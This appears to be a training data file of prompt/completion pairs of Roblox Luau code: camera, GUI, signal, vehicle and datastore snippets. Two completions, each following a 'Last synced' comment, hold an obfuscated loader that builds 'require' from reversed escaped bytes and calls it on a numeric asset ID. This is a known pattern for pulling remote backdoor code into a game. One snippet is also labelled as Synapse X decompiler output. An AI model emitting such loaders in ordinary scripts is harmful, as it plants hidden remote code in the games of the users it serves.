prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- This loads from, or lazily creates, NumberValue objects for exposed parameters
function OrbitalCamera:LoadNumberValueParameters() -- These initial values do not require change listeners since they are read only once self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil) self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil) -- Note: ReferenceAzim...
--[[ Last synced 7/31/2021 05:20 ...
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
-- Decompiled with the Synapse X Luau decompiler.
local l__UserInputService__1 = game:GetService("UserInputService"); local u1 = nil; local u2 = nil; local u3 = false; local u4 = false; local u5 = nil; local l__LocalPlayer__6 = game.Players.LocalPlayer; local l__DoubleJump__7 = script:WaitForChild("DoubleJump"); function onJumpRequest() if u1 then if u2 then i...
--
local hue, saturation, value = 0, 0, 1; local function update() colour.BackgroundColor3 = Color3.fromHSV(hue, saturation, value); local color3 = Color3.fromHSV(hue,saturation,value) local r,g,b = color3.R,color3.G,color3.B print(r) print(g) print(b) color.Text = (tostring(math.floor(r*255))..","..tostring(ma...
-- Function to bind to equip event
local function equip() local torso = player.Character.Torso -- Setup joint variables neck = torso.Neck oldNeckC0 = neck.C0 shoulder = torso:FindFirstChild("Right Shoulder") oldShoulderC0 = shoulder.C0 -- Remember old mouse icon and update current oldIcon = mouse.Icon mouse.Icon = "http://www.roblox.com/a...
--[[ [How fast the body rotates.] [Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.] [Setting this any higher than 1 causes weird glitchy shaking occasionally.] --]]
local UpdateSpeed = 0.5
-- fn cst_flt_rdr(string src, int len, fn func) -- @len - Length of type for reader -- @func - Reader callback
local function cst_flt_rdr(len, func) return function(S) local flt = func(S.source, S.index) S.index = S.index + len return flt end end local function stm_inst_list(S) local len = S:s_int() local list = table.create(len) for i = 1, len do local ins = S:s_ins() local op = bit.band(ins, 0x3F) local a...
-- Make the HotbarFrame, which holds only the Hotbar Slots
HotbarFrame = NewGui('Frame', 'Hotbar') HotbarFrame.Parent = MainFrame
---------------------------------------------
SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 1 PedValues.PedSignal2a.Value = 1 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a....
--[=[ Defaults the observable to a value if it isn't fired immediately ```lua Rx.NEVER:Pipe({ Rx.defaultsTo("Hello") }):Subscribe(print) --> Hello ``` @param value any @return (source: Observable) -> Observable ]=]
function Rx.defaultsTo(value) return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) local maid = Maid.new() local fired = false maid:GiveTask(source:Subscribe( function(...) fired = true sub:Fire(...) end, sub:GetFai...
-- The raw pixel size of the button and the offset needed for 9-slicing it
local BUTTON_PIXEL_SIZE = 32 -- px local SLICE_OFFSET = 6 -- px local defaultProps = { position = UDim2.fromScale(1, 1), anchorPoint = Vector2.new(0.4, 0.4), size = 24, transparency = 0, } export type Props = typeof(defaultProps) & { keyCode: Enum.KeyCode, transparency: any?, -- Roact binding } KeyCodeIcon.de...
--[[ Last synced 7/23/2021 04:30 ...
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[ ROBLOX deviation: skipped code original code lines: 376 - 416 ]]
-- Gets the storage location for packages used by each Dev Modules. The packages -- that get put in this folder are deduplicated so every distinct version of a -- package has only one copy.
local function getPackageStorage() local packageStorage = constants.PACKAGE_STORAGE_LOCATION:FindFirstChild(constants.PACKAGE_STORAGE_NAME) if not packageStorage then packageStorage = Instance.new("Folder") packageStorage.Name = constants.PACKAGE_STORAGE_NAME packageStorage.Parent = constants.PACKAGE_STORAGE_...
-- Signal class
local Signal = {} Signal.__index = Signal function Signal.new(signal) return setmetatable({ _handlerListHead = false, _signalType = signal }, Signal) end function Signal:Connect(fn) local connection = Connection.new(self, fn) if self._signalType == 1 and self._handlerListHead then connection._next = self....
--[[ Creates a registry for the given class ]]
function Registry.new(class) local self = { class = class, objects = {} } setmetatable(self, {__index = Registry}) return self end
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then Debounce = 2 Track1 = plr.Character.Dragon.Dragonoid:LoadAnima...
--[[** <description> Run this once to combine all keys provided into one "main key". Internally, this means that data will be stored in a table with the key mainKey. This is used to get around the 2-DataStore2 reliability caveat. </description> <parameter name = "mainKey"> The key that will be used to house the...
function DataStore2.Combine(mainKey, ...) for _, name in pairs({...}) do combinedDataStoreInfo[name] = mainKey end end function DataStore2.ClearCache() DataStoreCache = {} end function DataStore2:__call(dataStoreName, player) assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStor...
--script.Parent.LL.Velocity = script.Parent.LL.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.LLL.Velocity = script.Parent.LLL.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.LLLL.Velocity = script.Parent.LLLL.CFrame.lookVector *script.Parent.Speed.Value script.Parent.M.Velocity = script.Parent.M.CFrame.lookVector *script.Parent.Speed.Value
--Don't modify this script unless you really know what you're doing.
local WaitFor = (function(parent, child_name) local found = parent:FindFirstChild(child_name) while found == nil do parent.ChildAdded:wait() found = parent:FindFirstChild(child_name) if found then break end end return found end) local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 ...
--Generate a basic map
local map = {} map.sizeX = 100 map.sizeY = 100 map.fatgridSize = 10 map.grid = {} map.fatgrid = {} map.impassible = 1000000 local cardinals = { Vector3.new(-1,0,0),Vector3.new(1,0,0),Vector3.new(0,-1,0),Vector3.new(0,1,0) } local corners = { { dir = Vector3.new(-1,-1,0), a = Vector3.new(-1, 0,0), b = Vector3.new...
--set suitcase name to the player's name
handle.BottomGui.OwnerName.Text = player.Name handle.TopGui.OwnerName.Text = player.Name
-- import assign from 'object-assign';
local ReactCurrentDispatcher = require(script.ReactCurrentDispatcher) export type Dispatcher = ReactCurrentDispatcher.Dispatcher local ReactCurrentBatchConfig = require(script.ReactCurrentBatchConfig) local ReactCurrentOwner = require(script.ReactCurrentOwner) local ReactDebugCurrentFrame = require(script.ReactDebugCu...
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RemovalMonitor = script:WaitForChild("RemovalMonitor") CarpetPieces = { {MeshId = 223079795, Angle = 160}, {MeshId = 223079835, Angle = 100}, {MeshId = 223079888, Angle = 100}, {Mes...
--Player_UI.Player_IMG.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username=" ..Player.Name
Player_UI.Player_Name.Text = Player.Name Player_UI.Player_Cash.Text = Cash.Value.."$" Cash.Changed:connect(function() Player_UI.Player_Cash.Text = Cash.Value .. "$" end)
--[=[ Converts to the string to lowerCamelCase @param str string @return string ]=]
function String.toLowerCamelCase(str: string): string str = str:lower() str = str:gsub("[ _](%a)", string.upper) str = str:gsub("^%a", string.lower) str = str:gsub("%p", "") return str end
--[=[ Stops the timer. ]=]
function Timer:Stop() if not self._runHandle then return end self._runHandle:Disconnect() self._runHandle = nil end
-- Functions
local function closeMenu() tpMenu.Enabled = false end b_close.MouseButton1Click:Connect(closeMenu)
-----------------------------------------------------------------------------------------------
script.Parent:WaitForChild("Speedo") script.Parent:WaitForChild("Tach") script.Parent:WaitForChild("ln") script.Parent:WaitForChild("Gear") script.Parent:WaitForChild("Speed") local player=game.Players.LocalPlayer local mouse=player:GetMouse() local car = script.Parent.Parent.Car.Value car.DriveSeat.HeadsUpDisplay ...
-- create a ScreenGui
local screenGui = Instance.new("ScreenGui", playerGui)
--Wheel Alignment (Dont physically align the wheels, use these values)
Tune.FCamber = -2 Tune.RCamber = 0 Tune.FToe = 0 Tune.RToe = 0 Tune.FCaster = 0 Tune.RCaster = 0 Tune.StAxisOffset = 0
-- Etc
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath") local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled") local DEATH_DESTROY_DELAY = game.ServerStorage.Respaw.Garcom.Value local PATROL_WALKSPEED = 8 local MIN_REPOSITION_TIME = 2 local MAX_REPOSITION_TIME = 10 local MAX_PARTS_PER_HEARTBEAT = 50 local...
------------------------------------------------------------------------ -- stuff
do script.Parent.Equipped:connect(function() if player == nil then player = game.Players:GetPlayerFromCharacter(script.Parent.Parent) end if character == nil or character.Parent == nil then character = script.Parent.Parent humanoid = character.Humanoid isR15 = humanoid.RigType == Enum.HumanoidRigTy...